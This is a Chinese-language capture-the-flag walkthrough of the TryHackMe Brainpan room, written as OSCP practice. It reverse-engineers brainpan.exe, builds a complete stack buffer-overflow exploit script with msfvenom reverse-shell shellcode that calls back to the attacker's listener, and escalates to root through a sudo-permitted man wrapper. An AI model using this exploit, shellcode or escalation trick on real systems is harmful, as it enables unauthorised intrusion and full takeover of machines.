【THM】Brainpan 1-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/brainpan

本文相关内容:对目标可执行文件进行逆向工程,找到目标文件的缓冲区溢出漏洞并针对Linux目标机器进行漏洞利用。

image

简介

Brainpan非常适合OSCP练习,强烈建议在OSCP考试前完成,该实验的主要任务是对可执行文件brainpan.exe进行逆向分析,从而针对Linux机器上的该目标文件的缓冲区溢出漏洞进行利用。

该系列的靶机镜像链接:https://www.vulnhub.com/entry/brainpan-1,51/

获取目标初始访问权限

端口扫描

部署本实验的虚拟靶机,使用nmap进行端口扫描。

#nmap -sC -p- -T4 $target-ip
nmap -sC -p- -T4 10.10.171.164

image

获取目标文件

针对靶机的端口10000进行目录扫描

gobuster dir --url http://10.10.171.164:10000/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

image

在本地kali机的浏览器中访问刚才扫描得到的目录路径:http://10.10.171.164:10000/bin/

image

发现目标文件brainpan.exe,我们将其下载到kali机本地即可。

使用本地Windows虚拟机分析目标文件

tips:我们可以使用本地Windows虚拟机环境对目标文件brainpan.exe进行分析(通过分析找到目标文件的缓冲区溢出漏洞即可);但是在逆向分析完成之后,我们还是要针对本次实验环境所提供的靶机进行渗透。

接下来我们需要将目标文件丢到本地Windows虚拟机中。

先在本地kali机上开启一个简易的web服务器以便传输文件到本地Windows机器中。

python -m http.server 8888

image

在本地Windows虚拟机中访问本地kali机etho ip所开放的端口并下载目标文件,完成下载之后在Windows机器中查看该exe程序的运行界面。

image

image

由目标程序brainpan.exe的运行界面可知:brainpan.exe程序所绑定的端口号为9999

在kali机上使用netcat与靶机端口 9999以及本地Windows机器的端口 9999上的服务交互——我们可以发现该服务(对应的程序为brainpan.exe)允许用户进行一些输入操作,在完成输入后程序将自动校验是否允许访问。(允许用户输入并能自动校验——说明用户的输入将进入到程序的缓冲区中)

image

image

image

接下来我们在本地Windows虚拟机中打开目标文件并使用以下命令配置mona工作文件夹——以准备对目标文件进行分析。

!mona config -set workingfolder c:\mona\%p

image

初步Fuzzing测试

在本地Windows虚拟机上使用Immunity Debugger运行已经打开的目标文件,我们将在本地kali机中对本地Windows机上的目标程序手动进行fuzz测试 以便找出大概多少字节会导致目标应用程序发生崩溃。

python3 -c 'print("A"*1000)' | nc 192.168.101.27 9999
#在本地kali上执行以上命令

image

image

image

确定offset并控制EIP

下一步我们需要确定正在发送的缓冲区的哪一部分落在目标程序的EIP寄存器中,以便我们控制目标程序的执行流程,我们先使用msf中的pattern_create.rb脚本创建一个1000字节的随机字符串(此处选择1000字节是因为我们刚才成功传输1000字节使目标程序发生崩溃)。

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
#也可以在Immunity Debugger的命令栏中输入命令:!mona pattern_create 1000

image

和之前一样,将以上随机字符串发送到目标程序的输入缓冲区中(要先在本地Windows虚拟机中用Immunity Debugger运行目标exe),当程序再次崩溃时,我们需要检查并记录下本地Windows虚拟机的Immunity Debugger中的EIP寄存器值。

echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" | nc 192.168.101.27 9999

image

我们可以看到EIP值为35724134,现在我们用msf的pattern_offset脚本来查看我们所需要的确切的EIP偏移量(也就是能够使缓冲区溢出的精确的字符串长度值)。

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134

image

我们成功得到能够使缓冲区溢出的精确的EIP偏移量:524

现在我们开始构建exploit.py脚本,我们在exploit.py脚本中添加本地Windows虚拟机的ip以便我们向应用程序发送数据,结合前面得到的能够使目标程序崩溃的offset值-524个字符大小,我们得到以下初始脚本(exploit.py):

#exploit.py
#!/usr/bin/python
import socket
import sys

ip = '192.168.101.27'
port = 9999

offset = 524
buffer = b"A" * offset
retn = b""
padding = b""
payload =  b""

buffer += retn
buffer += padding
buffer += payload

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending buffer")
    s.send(buffer + b"\r\n")
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

在kali机上执行以上初始exploit脚本,能够使目标程序崩溃(注意:每次都需要先用本地Windows虚拟机中的Immunity Debugger运行目标程序,再在本地kali机中执行exp脚本,这样脚本才会生效)。

python3 exploit.py

image

image

接下来我们要控制EIP,我们可以通过在 "A" * 524 的末尾添加四个 B 字符来确认我们能够覆盖 EIP。

#基于初始exploit.py修改
offset = 524
buffer = b"A" * offset
retn = b"B" * 4

再次执行exploit.py脚本(先用本地Windows虚拟机中的Immunity Debugger运行目标程序),查看EIP寄存器值——发现成功覆盖(42424242,字符B对应的十六进制数为0x42)。

image

寻找坏字符

接下来我们要检查坏字符,我们之前已经在Immunity Debugger的命令栏中配置好了mona.py工作目录,这方便了我们之后使用mona命令。

我们直接使用以下mona命令新建一个坏字符数组(记录一下生成的数组文件所在路径——即下图中箭头所标注位置)。

!mona bytearray -b "\x00"
#Binary output saved in c:\mona\brainpan\bytearray.bin

image

使用以下python代码生成一串与前面的坏字符数组相同的字符串。

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

image

用以上输出结果修改exploit.py脚本中的payload变量 并再次执行exploit.py脚本使目标程序崩溃,记录下Immunity Debugger中的esp address。

#基于初始exploit.py修改
offset = 524
buffer = b"A" * offset
retn = b"B" * 4
padding = b""
payload = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

buffer += retn
buffer += padding
buffer += payload

image

最后执行mona的比较命令得到坏字符比较结果。

# !mona compare -f C:\mona\brainpan\bytearray.bin -a [esp address]
!mona compare -f C:\mona\brainpan\bytearray.bin -a 005FF910

image

根据上图输出列表——结果显示Unmodified状态,可知坏字符只有"\x00"

寻找跳跃点

接下来我们要找到一个有效的 JMP ESP 指令地址,以便我们可以将目标应用程序的执行流程重定向到我们的恶意shellcode所在位置。

在目标exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用我们已经找到的所有坏字符来更新 -cpb 选项即可:

!mona jmp -r esp -cpb "\x00"
#JMP ESP 0x311712f3

image

选择地址0x311712f3,使用小端字节序表示为: \xf3\x12\x17\31 ——逆序书写即可,此地址用于填充exp脚本中的retn变量

生成最终payload&开始漏洞利用

使用msfvenom命令生成一个排除坏字符的payload (此处选择生成linux反向shell类型的payload;此处ip是本地kali机中的TryHackMe vpn ip)

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.16.58 LPORT=4444 -b "\x00" -f py -v payload
#目标机器为Linux系统,所以此处选择的shell类型为 linux/x86/shell_reverse_tcp
#-p 指定负载类型,在本例中为linux/x86/shell_reverse_tcp
#LHOST 指定要连接的本地主机 IP 地址 10.13.16.58
#LPORT 指定要连接的本地机端口
#-f 指定格式
#-b 指定排除坏字符
#-e 指定编码器(此处未设置--最终将使用默认编码器)
#-v 指定用于 shellcode 的变量名

image

复制以上输出结果到exploit.py脚本的payload变量中,为了稳定,我们还需要添加NOP。

padding = b"\x90" * 16

现在我们知道了用于构建exploit.py脚本的所有有效信息(我们要针对本实验的虚拟靶机中的目标程序,此处脚本中的$ip要使用实验房间所提供的靶机ip),最终可用的exploit.py脚本内容如下所示:

#exploit.py
#!/usr/bin/python

#offset 524
#bad characters \x00\x0a
#JMP ESP 0x311712f3 ——用小端字节序表示(逆向书写): \xf3\x12\x17\x31
#Nop "\x90" * 16

# shellcode
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.13.16.58 LPORT=4444 -b "\x00" -f py -v payload

import socket
import sys

ip = '10.10.171.164'
port = 9999

offset = 524
buffer = b"A" * offset
retn = b"\xf3\x12\x17\x31"
padding = b"\x90" * 16
payload =  b""
payload += b"\xbd\x24\x36\x43\xdf\xdd\xc6\xd9\x74\x24\xf4"
payload += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x68\x0e"
payload += b"\x03\x4c\x38\xa1\x2a\xbd\x9f\xd2\x36\xee\x5c"
payload += b"\x4e\xd3\x12\xea\x91\x93\x74\x21\xd1\x47\x21"
payload += b"\x09\xed\xaa\x51\x20\x6b\xcc\x39\xb9\x86\x3e"
payload += b"\x83\xd5\x9a\x3e\xe2\x79\x12\xdf\xb4\xe4\x74"
payload += b"\x71\xe7\x5b\x77\xf8\xe6\x51\xf8\xa8\x80\x07"
payload += b"\xd6\x3f\x38\xb0\x07\xef\xda\x29\xd1\x0c\x48"
payload += b"\xf9\x68\x33\xdc\xf6\xa7\x34"

buffer += retn
buffer += padding
buffer += payload

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending buffer")
    s.send(buffer + b"\r\n")
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

接下来我们在kali机上设置一个netcat监听器并另启一个kali终端针对本实验的靶机执行最终的exploit.py脚本。

nc -lvnp 4444

image

成功获取目标初始访问权限:

image

提升权限到root

继续使用上一小节获得的shell,输入以下命令使刚才获得的shell稳定化

python3 -c 'import pty;pty.spawn("/bin/bash")'

输入sudo -l命令以列出可利用的SUDO权限程序:

image

执行我们刚才找到的SUDO权限程序:

sudo /home/anansi/bin/anansi_util

image

由上图可知该SUDO程序可以执行action,我们接下来着重关注以上action中的 manual [command] ,由名称可知这个action其实是Linux中的man命令。

查看GTFObins二进制程序利用清单——我们可以找到man程序(也就是manual)的sudo利用方式:

image

利用之前找到的SUDO权限程序执行action——manual [command] ;并以此提升权限到root:

sudo /home/anansi/bin/anansi_util manual man
!/bin/bash

image

posted @ 2023-03-05 22:14  Hekeatsll  阅读(171)  评论(0编辑  收藏  举报